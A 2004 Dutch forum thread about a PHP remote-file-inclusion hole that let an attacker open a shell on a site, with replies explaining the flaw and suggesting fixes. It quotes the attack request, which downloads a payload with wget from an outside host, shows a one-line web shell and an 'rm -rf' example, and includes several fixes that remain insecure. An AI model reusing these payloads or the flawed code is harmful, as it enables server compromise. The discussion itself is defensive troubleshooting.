[PHP] Exploit door verkeerde php code *

[we_are_borg]

Ik kreeg zo even een waarschuwing dat op een site van mij een stukje php code verkeert was hier door is er een exploit op de server gekomen, de exploit en de stuk code zijn in middels weggehaald.

Het stukje wat gebruikt werd is het volgende index.php?id=http://xxxx.org/lila.jpg?&cmd=cd%20/tmp;wget%20www.xxxxxxx.xxxxxxx.com.br/r0nin (Ik heb even xxx neergezet anders gebeuren er straks andere dingen). Dit opende een php shell op de server.

Het stukje code wat schijnbaar de veroorzaker was luide als volgt

PHP:

<?
if ( $id=='' ) {
$id="3";
$l="?";
}
else {
$id="$id";
}
?>
<?php include ("$id.txt"); ?><br>

Wat er gebeurde met deze code was het op halen van txt files en liet deze zien in de layout.
Mijn vragen luiden als volgt:

1. Wat is er mis met de bovenstaande code.
2. Hoe heeft dit kunnen gebeuren.
3. Wat is een PHP shell.
4. Kan ik de schuld op iemand afschuiven.

[Voutloos]

Nooit user input vertrouwen. En je controleert totaal niet wat er in $id zit. Dat kan dus ook iets van een ander server zijn.

Dit valt een beetje onder injection misbruik, iets wat je eerlijk gezegd altijd zelf moet voorkomen.

Checks inbouwen, en dingen doen als include('inc//'.$id.'.txt'), zodat er alleen binnen een bepaalde map iets gedaan kan worden, maken dat een stuk moeilijker/onmogelijk.

[ Voor 58% gewijzigd door Voutloos op 23-09-2004 00:58 ]

[TheBorg]

Ik heb geen zak verstand van PHP programmeren dus dat deel kan ik je niet beantwoorden. Een PHP shell is zoiets als CMD.EXE uitvoeren onder windows, maar dan op de server... Je krijgt dus een window met een command prompt. Een beetje fatsoenlijke systeem beheerder heeft deze mogelijkheid natuurlijk uitgeschakeld in de PHP.INI

[Marcj]

Iemand heeft duidelijk jouw onveilige code (altijd de input controleren!) gebruikt om een jpg-file op je server te laten starten met een exploit erin. Hiermee heeft hij geprobeert om een bestandje op jouw machine te zetten.
Lees deze dingen maar eens door:
http://eliti.st/articles/php_insecurity.html
nieuws: 'JPEG of death'-hoax na 10 jaar werkelijkheid

Ik zou iig beginnen met het controleren van $id in je code. Want ik ga er van uit dat daar bijvoorbeeld geen slashes in voor mogen komen oid. Of niet mogen beginnen met http://...

edit:

Jimbolino schreef op 23 september 2004 @ 01:05:
lees dit artikel van phpfreakz eens, gaat precies over jouw probleem, namelijk het vertrouwen van variablen die de user in kan vullen

http://www.phpfreakz.nl/artikelen.php?aid=106

Die link zat ik nou nog te zoeken dank je

[ Voor 25% gewijzigd door Marcj op 23-09-2004 01:07 ]

[NMe]

1. Wat is er mis met de bovenstaande code.

Laten we zeggen dat je elk script kan include, ook van een andere pagina. Leuk als ik een scriptje schrijf met dit erin:

PHP:

shell_execute('rm -rf');

Bij wijze van spreken dan.

2. Hoe heeft dit kunnen gebeuren.

Slecht programmeren. Basic foutje overigens.

3. Wat is een PHP shell.

Een shell is zoiets als het CMD scherm dat je in Windows hebt, waarmee je dus programma's kunt uitvoeren op je OS. Vrij link als je niet weet wat je doet.

4. Kan ik de schuld op iemand afschuiven.

Op degene die het geprogrammeerd heeft. Jij dus waarschijnlijk.

Overigens:

PHP:

$id="3";

Een getal als string declareren?? Waarom?

PHP:

$id="$id";

Wat denk je zelf nou dat dit doet?

[ Voor 11% gewijzigd door NMe op 23-09-2004 01:05 ]

[Jimbolino]

lees dit artikel van phpfreakz eens, gaat precies over jouw probleem, namelijk het vertrouwen van variablen die de user in kan vullen

http://www.phpfreakz.nl/artikelen.php?aid=106

[T-MOB]

5. Hoe kan ik dit voorkomen??

Op zijn simpelst te checken of $id op jouw server aanwezig is. Aangezien het er op lijkt dat je alleen txt bestanden uit de huidge map op je webserver wil includen kan dat met iets simpels als:

PHP:

if (!is_file('/webroot/includes/' .$id .'.txt')) 
  { 
     header('location="http://www.1337h4x0r.nl/"');
  }

voorkomen...

[ Voor 25% gewijzigd door T-MOB op 23-09-2004 01:11 ]

[NMe]

T-MOB schreef op 23 september 2004 @ 01:10:
5. Hoe kan ik dit voorkomen??

Op zijn simpelst te checken of $id op jouw server aanwezig is. Aangezien het er op lijkt dat je alleen txt bestanden uit de huidge map op je webserver wil includen kan dat met iets simpels als:

PHP:

if (!is_file('/webroot/includes/' .$id .'.txt')) 
  { 
     header('location="http://www.1337h4x0r.nl/"');
  }

voorkomen...

En als $id dan de waarde '../../ietsuitjeroot.txt'; heeft? Ook hiermee moet je dus oppassen.

[wim__k]

Het lijkt mij dat het er als volgt uitzag:

code:

index.php?id=http://xxxx.org/gevaarlijkeincludefile

En met de volgende code in jouw script:

PHP:

<?php include ("$id.txt"); ?> 

Als je remote streams toelaat dan include hij dus gewoon simpel die file op de remote server. Waar alles in kan staan wat degene aan die kant wil. Dus als hij het volgende in die file heeft staan:

PHP:

<?php
passthru($_GET['cmd']);
?>

Kan hij gewoon dit doen:

code:

index.php?id=http://xxxx.org/gevaarlijkeincludefile&cmd=wget+exploiturl

Waarmee hij keurig een exploit mee op kan halen van een andere server en op jouw machine kan neerzetten. En deze ook nog eens kan starten via dezelfde methode als dat hij hem heeft opgehaald. Met een beetje geluk voor hem zit hij dus lokaal op jouw machine (waarschijnlijk met nobody right, mhja daar valt vaak wel iets op te vinden)

Dus per vraag
1. Wat is er mis met de bovenstaande code.
Eigenlijk alles is mis met deze code als er niet wordt gecontroleert. Controleer je variable en zorg ervoor dat er alleen ik kan voorkomen wat jij wil dat er in voorkomt (dus waarschijnlijk geen slashes etc). Ook kan je nog in je php.ini vermelden dat je geen remote includes wil toestaan

2. Hoe heeft dit kunnen gebeuren.
Zoals boven vermeld waarschijnlijk

3. Wat is een PHP shell.
Ik zou niet weten wat een PHP shell is (tenzij hij php cli bedoelt) maar waarschijnlijk bedoelt hij dat er een shell is aangemaakt via je php script. Of anders bedoelt hij mischien de manier om commandos op je server uit te voeren via een GET request zoals ook boven staat vermeld.

4. Kan ik de schuld op iemand afschuiven.
Dat moet je zelf uitmaken.

[sjoerdb2]

NMe84 schreef op 23 september 2004 @ 01:13:
[...]

En als $id dan de waarde '../../ietsuitjeroot.txt'; heeft? Ook hiermee moet je dus oppassen.

Ik heb het wel eens opgelost door eerst met een loopje alle bestandsnamen uit een bepaald directory uit te lezen in een array, en dan dmv in_array te controleren of de opgegeven bestandsnaam/id voorkomt in die array.

[we_are_borg]

Bedankt voor de reacties, als eerst het is niet mijn code iemand anders heeft het geprogrammeerd, maar aangezien het op mijn site staat ben ik natuurlijk wel verantwoordelijk voor om het na te lopen en secure te houden.
Ik kan zelf een paar regels PHP dus denk dat ik toch maar eens moet beginnen om een beetje kennis op te halen.

TheBorg schreef op 23 september 2004 @ 00:55:
Ik heb geen zak verstand van PHP programmeren dus dat deel kan ik je niet beantwoorden. Een PHP shell is zoiets als CMD.EXE uitvoeren onder windows, maar dan op de server... Je krijgt dus een window met een command prompt. Een beetje fatsoenlijke systeem beheerder heeft deze mogelijkheid natuurlijk uitgeschakeld in de PHP.INI

Heb gevraagt aan de Administrator of dat uit gezet kan worden. Het wordt niet gebruikt maat misbruikt dus weg er mee.

Marcj schreef op 23 september 2004 @ 01:00:
Iemand heeft duidelijk jouw onveilige code (altijd de input controleren!) gebruikt om een jpg-file op je server te laten starten met een exploit erin. Hiermee heeft hij geprobeert om een bestandje op jouw machine te zetten.
Lees deze dingen maar eens door:
http://eliti.st/articles/php_insecurity.html
nieuws: 'JPEG of death'-hoax na 10 jaar werkelijkheid

Ik zou iig beginnen met het controleren van $id in je code. Want ik ga er van uit dat daar bijvoorbeeld geen slashes in voor mogen komen oid. Of niet mogen beginnen met http://...

edit:

[...]


Die link zat ik nou nog te zoeken dank je

Ik ga zeer zeker de links door lezen en bekijken hoe het wel moet. Die $id ga ik ook nakijken hoe het wel moet ik wil niet externs hebben alles wat op de site staat moet vanaf de server komen en nergens anders vandaan.

NMe84 schreef op 23 september 2004 @ 01:02:
[...]

Laten we zeggen dat je elk script kan include, ook van een andere pagina. Leuk als ik een scriptje schrijf met dit erin:

PHP:

shell_execute('rm -rf');

Bij wijze van spreken dan.

[...]

Slecht programmeren. Basic foutje overigens.

[...]

Een shell is zoiets als het CMD scherm dat je in Windows hebt, waarmee je dus programma's kunt uitvoeren op je OS. Vrij link als je niet weet wat je doet.

[...]

Op degene die het geprogrammeerd heeft. Jij dus waarschijnlijk.

Overigens:

PHP:

$id="3";

Een getal als string declareren?? Waarom?

PHP:

$id="$id";

Wat denk je zelf nou dat dit doet?

Ik zelf heb de code niet geschreven maar ga wel proberen om het zelf op te lossen al ben ik nog erger als een noob.

Die rm -rf die zal ik eens uitvoeren in een ssh sessie (grapje, hoewel probleem op gelost).

PHP:

$id="3";

Een getal als string declareren?? Waarom?

PHP:

$id="$id";

Ik zou dus niet weten wat er gebeurd op met de bovenstaande code weet alleen dat het werkt (nu niet meer want heb het weg gehaald).

Jimbolino schreef op 23 september 2004 @ 01:05:
lees dit artikel van phpfreakz eens, gaat precies over jouw probleem, namelijk het vertrouwen van variablen die de user in kan vullen

http://www.phpfreakz.nl/artikelen.php?aid=106

Ga ik zeer zeker even door nemen.

T-MOB schreef op 23 september 2004 @ 01:10:
5. Hoe kan ik dit voorkomen??

Op zijn simpelst te checken of $id op jouw server aanwezig is. Aangezien het er op lijkt dat je alleen txt bestanden uit de huidge map op je webserver wil includen kan dat met iets simpels als:

PHP:

if (!is_file('/webroot/includes/' .$id .'.txt')) 
  { 
     header('location="http://www.1337h4x0r.nl/"');
  }

voorkomen...

Niet al de includes staan in de zelfde map maar zijn verspreid over 10tallen mappen.

[Verwijderd]

Als het om een vaste directory gaat is het heel simpel

PHP:

$_GET['id'] = "../../ietsuitjeroot.txt";   // om even aan te geven wat er dan in die get zou zitten
$path_parts = pathinfo($_GET['id']);
if (in_array($path_parts["dirname"],$array_of_allowed_paths) {
    $id = $_GET['id']  // <== ietsuitjeroot.txt
}else{
    $id = no_access.txt
}

include($id);

copy&pasta uit php.net
http://nl2.php.net/manual/en/function.pathinfo.php

[edit]
lees net de lap text boven me, zie dat het geen vaste dir is dus even een edit.

[ Voor 63% gewijzigd door Verwijderd op 23-09-2004 01:35 ]

[Grijze Vos]

Dat is nou waarom de meeste webhosters de fopen url wrappers uitzetten.

[Janoz]

Dat is nog steeds geen reden dat dit niet voor kan komen. Er zijn meer dan genoeg mogenlijkheden om ook een stukje php-code op de server zelf te krijgen. De 404- melding in het appache log logt bijvoorbeeld ook de opgevraagde url .

[Verwijderd]

Jimbolino schreef op 23 september 2004 @ 01:05:
lees dit artikel van phpfreakz eens, gaat precies over jouw probleem, namelijk het vertrouwen van variablen die de user in kan vullen

http://www.phpfreakz.nl/artikelen.php?aid=106

Er staat ook de bekende truuk in dat iemand een link kan mailen met evil parameters en dan via javascript de status veranderen, zodat diegene denkt dat ie op een gewone link clicked.

Echter, staan de meestal email clients niet default op restricted mode oid zodat er geen javascript in emails wordt gerunned? Of komt het nog echt vaak voor dat users javascript aan hebben staan in hun email client?

[Jimbolino]

Verwijderd schreef op 23 september 2004 @ 12:53:
[...]
Echter, staan de meestal email clients niet default op restricted mode oid zodat er geen javascript in emails wordt gerunned? Of komt het nog echt vaak voor dat users javascript aan hebben staan in hun email client?

of webbased email ?
ik heb het zelf nog niet geprobeert maar misschien dat gmail/hotmail/outlook web access het gewoon toelaten...

[Verwijderd]

Jimbolino schreef op 23 september 2004 @ 15:18:
[...]

of webbased email ?
ik heb het zelf nog niet geprobeert maar misschien dat gmail/hotmail/outlook web access het gewoon toelaten...

Ik zal het eens proberen. Outlook express laat het bv wel toe, maar dan moet je expliciet de security settings op internet zone hebben gezet. Het is lang geleden dat ik een fresh install heb gedaan, dus ik weet niet meer of dit nou de default setting was, maar ik dacht van wel.

[Vm1heA]

Verwijderd schreef op 23 september 2004 @ 15:24:
[...]


Ik zal het eens proberen. Outlook express laat het bv wel toe, maar dan moet je expliciet de security settings op internet zone hebben gezet. Het is lang geleden dat ik een fresh install heb gedaan, dus ik weet niet meer of dit nou de default setting was, maar ik dacht van wel.

Laatste in OE 6 is alles dicht, zelfs executables krijg je niet zomaar meer uit je mail.
Moet je bevestigen of je het echt wilt en of je weet wat je aan het doen bent met vele meldingen over kans op virussen en aanverwanten.

[Roa]

Wat ik doe is alle files die via een variabele geïnclude worden handmatig in een array zetten. Als de pagina niet in de array staat, gaat het script door naar de index. Volgens mij is dat aardig veilig.

[Voutloos]

Roa schreef op 23 september 2004 @ 17:08:
Wat ik doe is alle files die via een variabele geïnclude worden handmatig in een array zetten. Als de pagina niet in de array staat, gaat het script door naar de index. Volgens mij is dat aardig veilig.

Ja, maar een extra pagina maken kost wel meer werk dan.

[Verwijderd]

Zo heb ik het ook gemaakt dat alle directory's en pagenamen ingevoerd MOETEN worden in de database anders wordt er geen page 'ge-include'.

Het leek mij de meest veilige manier om te includen.

[Grijze Vos]

ik heb gewoon een ini_file gemaakt die ik inlees in een array:

settings.ini

code:

; Enabling modules
[enabled_modules]
news    = true
forum   = true
pm      = true
members = true
faqs    = true
servers = true
abuse   = true
upload  = false
rcon    = true
polls   = true
; put the temporary debugging modules below
phpinfo = true
test = true

[ Voor 3% gewijzigd door Grijze Vos op 23-09-2004 18:25 ]

[NMe]

Grijze Vos schreef op 23 september 2004 @ 18:25:
ik heb gewoon een ini_file gemaakt die ik inlees in een array:

settings.ini

code:

; Enabling modules
[enabled_modules]
news    = true
forum   = true
pm      = true
members = true
faqs    = true
servers = true
abuse   = true
upload  = false
rcon    = true
polls   = true
; put the temporary debugging modules below
phpinfo = true
test = true

Wat ik me dan afvraag, is waarom je dan niet meteen dit doet?

PHP:

$enabled_modules['news']    = true
$enabled_modules['forum']   = true
$enabled_modules['pm']      = true
$enabled_modules['members'] = true
$enabled_modules['faqs']    = true
$enabled_modules['servers'] = true
$enabled_modules['abuse']   = true
$enabled_modules['upload']  = false
$enabled_modules['rcon']    = true
$enabled_modules['polls']   = true
; put the temporary debugging modules below
$enabled_modules['phpinfo'] = true
$enabled_modules['test'] = true

En die dan includen. Scheelt PHP weer het werk van het parsen van die ini file.

[Verwijderd]

Verwijderd schreef op 23 september 2004 @ 18:00:
Zo heb ik het ook gemaakt dat alle directory's en pagenamen ingevoerd MOETEN worden in de database anders wordt er geen page 'ge-include'.

Het leek mij de meest veilige manier om te includen.

Dat is wat ik zelf ook doe (welliswaar in een jsp project, maar het principe is hetzelfde): een servlet filter die alle aanvragen afvangt, kijkt of een request in de DB voorkomt, nee? -> index.jsp ja? -> request mag door gaan.

[Verwijderd]

Parsen gaat toch zo ontzettend snel, en ik ben wel voorstander van scheiden van instellingen / code / data / opmaak

[Grijze Vos]

NMe84 schreef op 23 september 2004 @ 18:29:
[...]

Wat ik me dan afvraag, is waarom je dan niet meteen dit doet?

...

En die dan includen. Scheelt PHP weer het werk van het parsen van die ini file.

Je antwoord wordt al gegeven door iemand anders:

Verwijderd schreef op 23 september 2004 @ 18:40:
Parsen gaat toch zo ontzettend snel, en ik ben wel voorstander van scheiden van instellingen / code / data / opmaak

Bovendien, zou ik -als het echt een zinnige tijdswinst oplevert- die ini file kunnen parsen naar een include file toe, maar dan heb je eigenlijk een sort of self modifying code idee, en dat is dan ook weer ranzig.

[NMe]

Grijze Vos schreef op 23 september 2004 @ 18:53:
Je antwoord wordt al gegeven door iemand anders:


Bovendien, zou ik -als het echt een zinnige tijdswinst oplevert- die ini file kunnen parsen naar een include file toe, maar dan heb je eigenlijk een sort of self modifying code idee, en dat is dan ook weer ranzig.

Ini parsen naar een include, die je daarna nog gaat uitvoeren, is het ranzigste wat er is...
Maar ik zie het nut van een aparte ini file niet in, als je precies hetzelfde al direct in PHP kan doen. Net zoals ik (sinds kort ) het nut van templates niet (meer) inzie, omdat PHP dat ook al prima zelf kan.

[PrisonerOfPain]

Verwijderd schreef op 23 september 2004 @ 18:40:
Parsen gaat toch zo ontzettend snel, en ik ben wel voorstander van scheiden van instellingen / code / data / opmaak

Scheiden kun je op zoveel verschillende manieren doen, twee losse bestanden is ook een scheiding.

[usr-local-dick]

Ik gebruik altijd dit soort constructies:

code:

$id = isset($_REQUEST['id']) ? intval($_REQUEST['id']) : 0;

die intval natuurlijk alleen doen bij nummertjes he

[Grijze Vos]

NMe84 schreef op 23 september 2004 @ 20:00:
[...]

Ini parsen naar een include, die je daarna nog gaat uitvoeren, is het ranzigste wat er is...

* Als je wil dat (domme) users de settings kunnen veranderen, heb ik liever dat ze aan een ini-file zitten, dan aan een php-file. Een verneukte php file = bye bye met je page. Een verneukte ini-file valt nog mee.
* Ini files zijn overzichtelijker te editen.
* Als je telkens bij changes je ini moet parsen/compilen naar een include toe is dat natuurlijk aan de ene kant wel handig, want tijdens het parsen/compilen vliegt het script eruit, en heb je nog steeds een werkende site, als daarna de source-ini gefixed is, kun je weer opnieuw proberen te parsen/compilen. (Basically werken dingen als sendmail ook zo.)

Maar ik zie het nut van een aparte ini file niet in, als je precies hetzelfde al direct in PHP kan doen. Net zoals ik (sinds kort ) het nut van templates niet (meer) inzie, omdat PHP dat ook al prima zelf kan.

Ik heb zelf een aparte 'skinning' layer ertussen gebouwd. Daar zit mn template in principe in. Iedere malloot met een beetje basiskennis van php kan zo'n skin bouwen. _{(Flash-designers leren ook action script, dus een html-klopper kan ook wel basic php leren, is mijn idee. Mocht je het in de praktijk in een bedrijf willen doen ofzo dan. )}

[we_are_borg]

Ik heb nu de volgende code.

PHP:

<?
ini_set('allow_url_fopen', false);
if ( $id=='' ) { 
$id="3"; 
$l="?"; 
} 
else { 
$id="$id"; 
} 
?> 
<?php include ("$id.txt"); ?><br>

Ik krijg nu een fout mededeling als ik index.php?id=http://www.rooted.nl doet de fout is

Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/sevenof/public_html/index.php on line 172

Warning: main(http://www.rooted.nl.txt): failed to open stream: Success in /home/sevenof/public_html/index.php on line 172

Warning: main(): Failed opening 'http://www.rooted.nl.txt' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/sevenof/public_html/index.php on line 172

Is dit afdoende af zeggen jullie verzin iets anders.

[Grijze Vos]

Mja, dit komt bij normaal gebruik niet voor he, alleen als iemand aan het kutten is. Dat ie dan een bak errors krijgt voorgeschoteld moet niet uitmaken.

Overigens, als je .php files een .txt extensie geeft, dan kan iedereen je php code bekijken, ik hoop dat je je dat realiseert...

[Verwijderd]

Grijze Vos schreef op 23 september 2004 @ 21:56:
Mja, dit komt bij normaal gebruik niet voor he, alleen als iemand aan het kutten is. Dat ie dan een bak errors krijgt voorgeschoteld moet niet uitmaken.

Overigens, als je .php files een .txt extensie geeft, dan kan iedereen je php code bekijken, ik hoop dat je je dat realiseert...

als je een beetje nadenkt weet je wat voor error php geeft en zie je dat je nog steeds 0 beveiliging hebt.
net zoals usr-local-dick al zei.. makkelijk en effectief..

PHP:

if ( $id=='' ) {
$id=3;
$l="?";
}
else {
$id=intval($id);
}

[Grijze Vos]

Verwijderd schreef op 23 september 2004 @ 22:25:
[...]
als je een beetje nadenkt weet je wat voor error php geeft en zie je dat je nog steeds 0 beveiliging hebt.
net zoals usr-local-dick al zei.. makkelijk en effectief..

Wat je nu zegt is een beetje pointless, want ik had het helemaal niet over de code-injection-beveiliging (die is boven al besproken, in de simpele en veilige oplossing van een array met goede waarden); ik had het over het feit dat een .txt file direct aangesproken doorgaans gewoon geretourneerd wordt als plain text, een .php file wordt geparsed, en laat dus geen code zien.

Of ik mis dus even helemaal je punt, of jij quote een verkeerde persoon, of je praat onzin (als antwoord op mijn post iig.)

[we_are_borg]

Grijze Vos schreef op 23 september 2004 @ 21:56:
Mja, dit komt bij normaal gebruik niet voor he, alleen als iemand aan het kutten is. Dat ie dan een bak errors krijgt voorgeschoteld moet niet uitmaken.

Overigens, als je .php files een .txt extensie geeft, dan kan iedereen je php code bekijken, ik hoop dat je je dat realiseert...

De php files eindigen op .php alleen in de .txt files staat gewoon informatie met een beetje html instructies over tabellen ed meer niet. De informatie krijgen ze toch te zien als ze op de site bezig zijn.

Door blaat_schaap - Thursday 23 September 2004 22:25

als je een beetje nadenkt weet je wat voor error php geeft en zie je dat je nog steeds 0 beveiliging hebt.
net zoals usr-local-dick al zei.. makkelijk en effectief..

PHP:

 <?
if ( $id=='' ) { 
$id=3; 
$l="?"; 
} 
else { 
$id=intval($id); 
}
?>  

Ik heb nu deze code gebruikt met ini_set('allow_url_fopen', false); als extra toevoeging.

Nu krijg ik deze fout melding:

Warning: main(0.txt): failed to open stream: No such file or directory in /home/sevenof/public_html/index.php on line 172

Warning: main(): Failed opening '0.txt' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/sevenof/public_html/index.php on line 172

Ik hoop dan dit afdoende is.

[ Voor 8% gewijzigd door we_are_borg op 23-09-2004 23:12 ]

[Grijze Vos]

we_are_borg schreef op 23 september 2004 @ 23:11:
[...]


De php files eindigen op .php alleen in de .txt files staat gewoon informatie met een beetje html instructies over tabellen ed meer niet. De informatie krijgen ze toch te zien als ze op de site bezig zijn.

Ok, dat verandert de zaak. Ik ken iemand die echte php code in een .txt had staan, vandaar dat ik je ervoor waarschuwde.

Ik heb nu deze code gebruikt met ini_set('allow_url_fopen', false); als extra toevoeging.

Nu krijg ik deze fout melding:

Warning: main(0.txt): failed to open stream: No such file or directory in /home/sevenof/public_html/index.php on line 172

Warning: main(): Failed opening '0.txt' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/sevenof/public_html/index.php on line 172

Ik hoop dan dit afdoende is.

0.txt bestaat niet? Is wel zo handig.

[we_are_borg]

Grijze Vos schreef op 23 september 2004 @ 23:13:
[...]
Ok, dat verandert de zaak. Ik ken iemand die echte php code in een .txt had staan, vandaar dat ik je ervoor waarschuwde.


[...]

0.txt bestaat niet? Is wel zo handig.

Wel 0.txt bestaat maar er staat niets in is een mooie lege file. Het voordeel is dat je geen foutmededelingen meer ziet staan.

[usr-local-dick]

Wel 0.txt bestaat maar er staat niets in is een mooie lege file. Het voordeel is dat je geen foutmededelingen meer ziet staan.

Volgens mij zie ik nog steeds een 'failed to include'
Nog even een kleine toevoeging aan mijn regeltje code.
Hij check of $id met request mee komt, zoja dat maakt ie een int van wat het was.
Als er niets in staat (dus id wordt niet meegegeven), dan default ie naar 0.
In jouw geval moet daar dus het id van jouw default page staan.
Als je dat doet springt ie naar de default page zodra je garbage meegeeft als $id.
Netjes en schoon.
Hetzelfde geldt voor een ding zoals je form action; stel hij is display of update:

code:

$action = ($_REQUEST['action'] == 'update') ? 'update' : 'display';

ZO kan ie alleen maar update of display zijn.
Zo houdt je de user input helemaal gescheiden, de variable wordt dus geheel bepaald door jouw (verkorte) IF statement.

[ Voor 13% gewijzigd door usr-local-dick op 23-09-2004 23:41 ]

[Sendy]

usr-local-dick >
Dat is natuurlijk hetzelfde idee als de tabel van boven. Maar wel een zeer goed idee.

[usr-local-dick]

Sendy schreef op 23 september 2004 @ 23:43:
usr-local-dick >
Dat is natuurlijk hetzelfde idee als de tabel van boven. Maar wel een zeer goed idee.

Ja ok, als je iets moet checken wat meer dan 2 waarden kan aannemen is die verkorte if/else niet bruikbaar. Maar om te sanatizen en voor dingen die alleen ja of nee kunnen zijn is hij heel fijn.
Ziet er wel maf uit in het begin maar is wel lekker compact

[we_are_borg]

usr-local-dick schreef op 23 september 2004 @ 23:39:
[...]


Volgens mij zie ik nog steeds een 'failed to include'
Nog even een kleine toevoeging aan mijn regeltje code.
Hij check of $id met request mee komt, zoja dat maakt ie een int van wat het was.
Als er niets in staat (dus id wordt niet meegegeven), dan default ie naar 0.
In jouw geval moet daar dus het id van jouw default page staan.
Als je dat doet springt ie naar de default page zodra je garbage meegeeft als $id.
Netjes en schoon.
Hetzelfde geldt voor een ding zoals je form action; stel hij is display of update:

code:

$action = ($_REQUEST['action'] == 'update') ? 'update' : 'display';

ZO kan ie alleen maar update of display zijn.
Zo houdt je de user input helemaal gescheiden, de variable wordt dus geheel bepaald door jouw (verkorte) IF statement.

ik heb later die 0.txt aangemaakt als lege file, als ik aan het testen ben hal ik hem even weg zodat ik de foutmelding ziet.

PHP:

<?
ini_set('allow_url_fopen', false);
if ( $id=='' ) { 
$id="3"; 
$l="?"; 
} 
else { 
$id=intval($id); 
}
?>
<?php include ("$id.txt"); ?><br>

Alleen nu weet ik dus wel waarom die $id="3"; wordt gezet dat is waar de FP nieuws instaat. Deze werkt goed, alleen andere files worden niet juist geincluded behalve als ik van de 3 een andere naam in geeft dan wordt die netjes neergezet. Maar linken naar andere txt files geeft de zelfde fout als hier boven

Warning: main(0.txt): failed to open stream: No such file or directory in /home/sevenof/public_html/index.php on line 162

Warning: main(): Failed opening '0.txt' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/sevenof/public_html/index.php on line 162

Ik kan dus alleen een txt file includen als ik de 3 veranderd in iets anders.

[ Voor 8% gewijzigd door we_are_borg op 23-09-2004 23:56 ]

[Sendy]

Tja, je moet wel zelf lezen. Als je de php manual pagina over intval() leest snap je het meteen. Het is dus niet de juiste oplossing.

Ik zou zeggen: maak een tabel met links de "id" van de pagina, en rechts de filenaam van de file.

code:

"3"   "3.txt"
"hacker"   "hacker.txt"
"vreemd"    "raar.txt"

"vertaal" je id naar de filenaam, en open dat bestand.

[ Voor 48% gewijzigd door Sendy op 24-09-2004 00:02 ]

[Voutloos]

we_are_borg schreef op 23 september 2004 @ 23:53:
Alleen nu weet ik dus wel waarom die $id="3"; wordt gezet dat is waar de FP nieuws instaat.

En dat betekent dus ook dat je nu ontdekt dat je een beginnersregel voor programmeren in de wind slaat. Alle getallen anders dan 0, 1 of een heilig wiskundig getal dat nooit wijzigt, in je code zijn magische getallen. Als je niet kan bedenken wat '3' is, betekent het dus dat je daar een constante had moeten zetten. En dan is het bovendien makkelijker te veranderen als je een andere default artikel wil hebben en het getal 3 vaker in je code voorkomt nu.

Dit is nu licht offtopic voor je probleem, maar anders krijg je als je zo door gaat spaghetticode en dan kan je moeilijk bewijzen dat het nog veilig is.

[we_are_borg]

Sendy schreef op 23 september 2004 @ 23:58:
Tja, je moet wel zelf lezen. Als je de php manual pagina over intval() leest snap je het meteen. Het is dus niet de juiste oplossing.

Ik zou zeggen: maak een tabel met links de "id" van de pagina, en rechts de filenaam van de file.

code:

"3"   "3.txt"
"hacker"   "hacker.txt"
"vreemd"    "raar.txt"

"vertaal" je id naar de filenaam, en open dat bestand.

Ik begrijp het alleen nu komt het ik praat over 800 bestanden die ik dan op moet geven. Ik zal even gaan lezen op php over intval()

[Sendy]

Ik vraag toch af van wie je die code hebt. Zelf begrijp je geloof ik het probleem nog niet zo, laat staan dat je een oplossing kan bedenken of een mogelijk antwoord op waarde weet te schatten. Ik zou voorals nog alleen die ini_set in je code opnemen en die code-vriend erbij halen. (Het is dan nog steeds niet veilig, maar wel tegen deze simpele internet aanvallen.)
Heb ik al verteld dat ik niets van php weet?

[ Voor 11% gewijzigd door Sendy op 24-09-2004 00:20 ]

[Roa]

Voutloos schreef op 23 september 2004 @ 17:10:
[...]
Ja, maar een extra pagina maken kost wel meer werk dan.

True, maar de array staat in config.php die in de index.php geinclude wordt, en vanuit de index wordt iedere pagina pagina geopent. Dus als ik een nieuwe file wil invoegen, hoef ik alleen maar even " . 'filename' " toe te voegen in de array en dat kost niet zo gek lang.

Verder include ik alleen .php bestanden, dus alleen de naam van het bestand (zonder extensie) staat in die array. Dat heeft niets te maken met het extra werk, maar goed.

In ieder geval, voor de veiligheid die het met zich meebrengt wil ik best een minuutje langer werken

edit:
daarnaast heb ik nog ergens gelezen in dit topic over iemand die gewoon een script door z'n map liet lopen en ieder bestand in een array zetten, zo kan je hem natuurlijk ook nog vullen, kost het je geen werk

[ Voor 19% gewijzigd door Roa op 24-09-2004 00:35 ]

[usr-local-dick]

wordt zo langzamerhand een bikkel topic hier
(was toch vanaf middernacht?)

[we_are_borg]

Sendy schreef op 24 september 2004 @ 00:19:
Ik vraag toch af van wie je die code hebt. Zelf begrijp je geloof ik het probleem nog niet zo, laat staan dat je een oplossing kan bedenken of een mogelijk antwoord op waarde weet te schatten. Ik zou voorals nog alleen die ini_set in je code opnemen en die code-vriend erbij halen. (Het is dan nog steeds niet veilig, maar wel tegen deze simpele internet aanvallen.)
Heb ik al verteld dat ik niets van php weet?

Ik heb een tijd geleden een site over genomen met content deze code zat hier al in. De maker heeft deze code gewoon gebruikt omdat het werkte niet meer dan dat, hij heeft nooit nagedacht wat de consucenties waren. Ik heb hem wel gewaarschuwd aangezien hij de code ook gebruikt in zijn eigen site en dat hij niet veilig is.

Ik heb nu van alles geprobeerd maar het is wel de bedoeling dat de code veilig is en dat is het schijnbaar nog niet. Ik weet zelf iets van php af maar array ed gaat nog boven mijn pet.

Als ik de orginele code bekijkt

PHP:

<? 
if ( $id=='' ) { 
$id="3"; 
$l="?"; 
} 
else { 
$id="$id"; 
} 
?> 
<?php include ("$id.txt"); ?><br>

Werkt het wel

Doe ik het volgende:

PHP:

<? 
if ( $id=='' ) { 
$id="3"; 
$l="?"; 
} 
//else { 
//$id="$id"; 
//} 
?> 
<?php include ("$id.txt"); ?><br>

Werkt het ook nog, dus ik die bijna niets van php af weet zou zeggen het is overbodig.

PHP:

<?
ini_set('allow_url_fopen', true);
if ( $id=='' ) { 
$id="3"; 
$id=intval($id);
} 
else { 
$l="?";  
} 
?>
<?php include ("$id.txt"); ?><br>

Werkt de code ook nog ini_set('allow_url_fopen', false); heb ik toegevoegd op aanraden van phpfreakz FAQ. Ik heb de intval($id) om gedraait met sl="?"; Dit schijnt te werken. Alleen heb ik nog steeds geen vertrouwen in de code, ik weet nu wel dat $id="3"; gewoon een txt file is waar een stukje php code inzit deze code roept een programma aan die op zijn beurt de nieuws laat zien.

[Sjaaky]

zoals php.net zegt:
allow_url_fopen:.... Note: This setting can only be set in php.ini due to security reasons.
